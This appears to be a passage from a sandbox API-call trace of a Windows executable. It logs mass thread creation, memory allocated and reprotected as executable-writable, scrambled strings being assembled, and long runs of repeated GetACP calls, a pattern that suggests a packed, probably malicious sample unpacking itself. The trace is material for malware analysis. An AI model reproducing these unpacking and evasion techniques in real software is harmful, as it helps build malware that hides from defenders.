dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1730) returned 0x730 [0228.462] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1734) returned 0x734 [0228.463] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1738) returned 0x738 [0228.464] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x173c) returned 0x73c [0228.464] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1740) returned 0x740 [0228.616] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1794) returned 0x744 [0228.617] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1798) returned 0x748 [0228.617] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x179c) returned 0x74c [0228.618] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x17a0) returned 0x750 [0228.618] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x17a4) returned 0x754 [0228.619] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x17a8) returned 0x758 [0228.619] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x17ac) returned 0x75c [0228.620] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x17b0) returned 0x760 [0228.620] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x17b4) returned 0x764 [0228.621] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x17b8) returned 0x768 [0228.621] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x17bc) returned 0x76c [0228.621] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x17c0) returned 0x770 [0228.621] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x17c4) returned 0x774 [0228.622] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x17c8) returned 0x778 [0228.623] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x17cc) returned 0x77c [0228.623] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x17d0) returned 0x780 [0228.624] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x17d4) returned 0x784 [0228.624] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x17d8) returned 0x788 [0228.625] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x17dc) returned 0x78c [0228.625] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x17e0) returned 0x790 [0228.764] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1818) returned 0x794 [0228.765] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x181c) returned 0x798 [0228.765] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1820) returned 0x79c [0228.766] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1824) returned 0x7a0 [0228.766] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1828) returned 0x7a4 [0228.767] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x182c) returned 0x7a8 [0228.768] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1830) returned 0x7ac [0228.768] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1834) returned 0x7b0 [0228.769] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1838) returned 0x7b4 [0228.769] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x183c) returned 0x7b8 [0228.770] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1840) returned 0x7bc [0228.771] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1844) returned 0x7c0 [0228.771] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1848) returned 0x7c4 [0228.772] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x184c) returned 0x7c8 [0228.772] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1850) returned 0x7cc [0228.773] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1854) returned 0x7d0 [0228.773] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1858) returned 0x7d4 [0228.774] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x185c) returned 0x7d8 [0228.774] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1860) returned 0x7dc [0228.775] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1864) returned 0x7e0 [0228.967] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x18b8) returned 0x7e4 [0228.967] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x18bc) returned 0x7e8 [0228.968] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x18c0) returned 0x7ec [0228.968] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x18c4) returned 0x7f0 [0228.969] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x18c8) returned 0x7f4 [0228.969] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x18cc) returned 0x7f8 [0228.969] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x18d0) returned 0x7fc [0228.970] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x18d4) returned 0x804 [0228.971] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x18d8) returned 0x808 [0228.971] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x18dc) returned 0x80c [0228.972] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x18e0) returned 0x810 [0228.972] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x18e4) returned 0x814 [0228.973] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x18e8) returned 0x818 [0228.973] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x18ec) returned 0x81c [0228.974] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x18f0) returned 0x820 [0228.974] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x18f4) returned 0x824 [0228.975] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x18f8) returned 0x828 [0228.975] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x18fc) returned 0x82c [0228.976] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1900) returned 0x830 [0228.976] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1904) returned 0x834 [0229.109] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1908) returned 0x838 [0229.109] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x190c) returned 0x83c [0229.110] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1910) returned 0x840 [0229.110] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1914) returned 0x844 [0229.111] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1918) returned 0x848 [0229.111] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x191c) returned 0x84c [0229.112] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1920) returned 0x850 [0229.112] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1924) returned 0x854 [0229.113] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1928) returned 0x858 [0229.113] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x192c) returned 0x85c [0229.114] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1930) returned 0x860 [0229.114] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1934) returned 0x864 [0229.114] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1938) returned 0x868 [0229.115] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x193c) returned 0x86c [0229.115] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1940) returned 0x870 [0229.116] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1944) returned 0x874 [0229.116] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1948) returned 0x878 [0229.117] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x194c) returned 0x87c [0229.117] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1950) returned 0x880 [0229.118] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1954) returned 0x884 [0229.118] VirtualAlloc (lpAddress=0x0, dwSize=0x2a000, flAllocationType=0x1000, flProtect=0x40) returned 0x5140000 [0229.126] lstrlenA (lpString="%nl,") returned 4 [0229.126] lstrlenA (lpString="(.") returned 2 [0229.127] lstrcatA (in: lpString1="(.", lpString2="%nl," | out: lpString1="(.%nl,") returned="(.%nl," [0229.127] lstrlenA (lpString="wuU") returned 3 [0229.127] lstrlenA (lpString="./") returned 2 [0229.127] lstrlenA (lpString="P=\\") returned 3 [0229.127] lstrlenA (lpString="dj`q") returned 4 [0229.127] lstrlenA (lpString="*+#ej") returned 5 [0229.127] lstrlenA (lpString="e@8>+") returned 5 [0229.127] lstrcmpA (lpString1="z$B\"", lpString2="{esP") returned 1 [0229.129] lstrlenA (lpString="uy;R") returned 4 [0229.129] lstrlenA (lpString="0WF<") returned 4 [0229.129] lstrcatA (in: lpString1="dj`q", lpString2="P=\\" | out: lpString1="dj`qP=\\") returned="dj`qP=\\" [0229.129] lstrcmpA (lpString1="41", lpString2="nJ") returned -1 [0229.130] lstrcatA (in: lpString1="./", lpString2="wuU" | out: lpString1="./wuU") returned="./wuU" [0229.130] VirtualAlloc (lpAddress=0x0, dwSize=0x22b10, flAllocationType=0x1000, flProtect=0x4) returned 0x54b0000 [0229.130] VirtualProtect (in: lpAddress=0x400000, dwSize=0x2a000, flNewProtect=0x40, lpflOldProtect=0x51690f0 | out: lpflOldProtect=0x51690f0*=0x2) returned 1 [0229.131] GetACP () returned 0x4e4 [0229.131] GetACP () returned 0x4e4 [0229.131] GetACP () returned 0x4e4 [0229.131] GetACP () returned 0x4e4 [0229.131] GetACP () returned 0x4e4 [0229.131] GetACP () returned 0x4e4 [0229.131] GetACP () returned 0x4e4 [0229.131] GetACP () returned 0x4e4 [0229.131] GetACP () returned 0x4e4 [0229.131] GetACP () returned 0x4e4 [0229.131] GetACP () returned 0x4e4 [0229.131] GetACP () returned 0x4e4 [0229.131] GetACP () returned 0x4e4 [0229.131] GetACP () returned 0x4e4 [0229.131] GetACP () returned 0x4e4 [0229.131] GetACP () returned 0x4e4 [0229.132] GetACP () returned 0x4e4 [0229.132] GetACP () returned 0x4e4 [0229.132] GetACP () returned 0x4e4 [0229.132] GetACP () returned 0x4e4 [0229.132] GetACP () returned 0x4e4 [0229.132] GetACP () returned 0x4e4 [0229.132] GetACP () returned 0x4e4 [0229.132] GetACP () returned 0x4e4 [0229.132] GetACP () returned 0x4e4 [0229.132] GetACP () returned 0x4e4 [0229.132] GetACP () returned 0x4e4 [0229.132] GetACP () returned 0x4e4 [0229.132] GetACP () returned 0x4e4 [0229.132] GetACP () returned 0x4e4 [0229.132] GetACP () returned 0x4e4 [0229.132] GetACP () returned 0x4e4 [0229.132] GetACP () returned 0x4e4 [0229.132] GetACP () returned 0x4e4 [0229.132] GetACP () returned 0x4e4 [0229.132] GetACP () returned 0x4e4 [0229.132] GetACP () returned 0x4e4 [0229.132] GetACP () returned 0x4e4 [0229.132] GetACP () returned 0x4e4 [0229.132] GetACP () returned 0x4e4 [0229.132] GetACP () returned 0x4e4 [0229.132] GetACP () returned 0x4e4 [0229.132] GetACP () returned 0x4e4 [0229.132] GetACP () returned 0x4e4 [0229.132] GetACP () returned 0x4e4 [0229.132] GetACP () returned 0x4e4 [0229.132] GetACP () returned 0x4e4 [0229.132] GetACP () returned 0x4e4 [0229.132] GetACP () returned 0x4e4 [0229.132] GetACP () returned 0x4e4 [0229.132] GetACP () returned 0x4e4 [0229.132] GetACP () returned 0x4e4 [0229.132] GetACP () returned 0x4e4 [0229.132] GetACP () returned 0x4e4 [0229.132] GetACP () returned 0x4e4 [0229.132] GetACP () returned 0x4e4 [0229.132] GetACP () returned 0x4e4 [0229.132] GetACP () returned 0x4e4 [0229.133] GetACP () returned 0x4e4 [0229.133] GetACP () returned 0x4e4 [0229.133] GetACP () returned 0x4e4 [0229.133] GetACP () returned 0x4e4 [0229.133] GetACP () returned 0x4e4 [0229.133] GetACP () returned 0x4e4 [0229.133] GetACP () returned 0x4e4 [0229.133] GetACP () returned 0x4e4 [0229.133] GetACP () returned 0x4e4 [0229.133] GetACP () returned 0x4e4 [0229.133] GetACP () returned 0x4e4 [0229.133] GetACP () returned 0x4e4 [0229.133] GetACP () returned 0x4e4 [0229.133] GetACP () returned 0x4e4 [0229.133] GetACP () returned 0x4e4 [0229.133] GetACP () returned 0x4e4 [0229.133] GetACP () returned 0x4e4 [0229.133] GetACP () returned 0x4e4 [0229.133] GetACP () returned 0x4e4 [0229.133] GetACP () returned 0x4e4 [0229.133] GetACP () returned 0x4e4 [0229.133] GetACP () returned 0x4e4 [0229.133] GetACP () returned 0x4e4 [0229.133] GetACP () returned 0x4e4 [0229.133] GetACP () returned 0x4e4 [0229.133] GetACP () returned 0x4e4 [0229.133] GetACP () returned 0x4e4 [0229.133] GetACP () returned 0x4e4 [0229.133] GetACP () returned 0x4e4 [0229.133] GetACP () returned 0x4e4 [0229.133] GetACP () returned 0x4e4 [0229.133] GetACP () returned 0x4e4 [0229.133] GetACP () returned 0x4e4 [0229.133] GetACP () returned 0x4e4 [0229.133] GetACP () returned 0x4e4 [0229.133] GetACP () returned 0x4e4 [0229.133] GetACP () returned 0x4e4 [0229.133] GetACP () returned 0x4e4 [0229.133] GetACP () returned 0x4e4 [0229.133] GetACP () returned 0x4e4 [0229.133] GetACP () returned 0x4e4 [0229.133] GetACP () returned 0x4e4 [0229.133] GetACP () returned 0x4e4 [0229.133] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.134] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 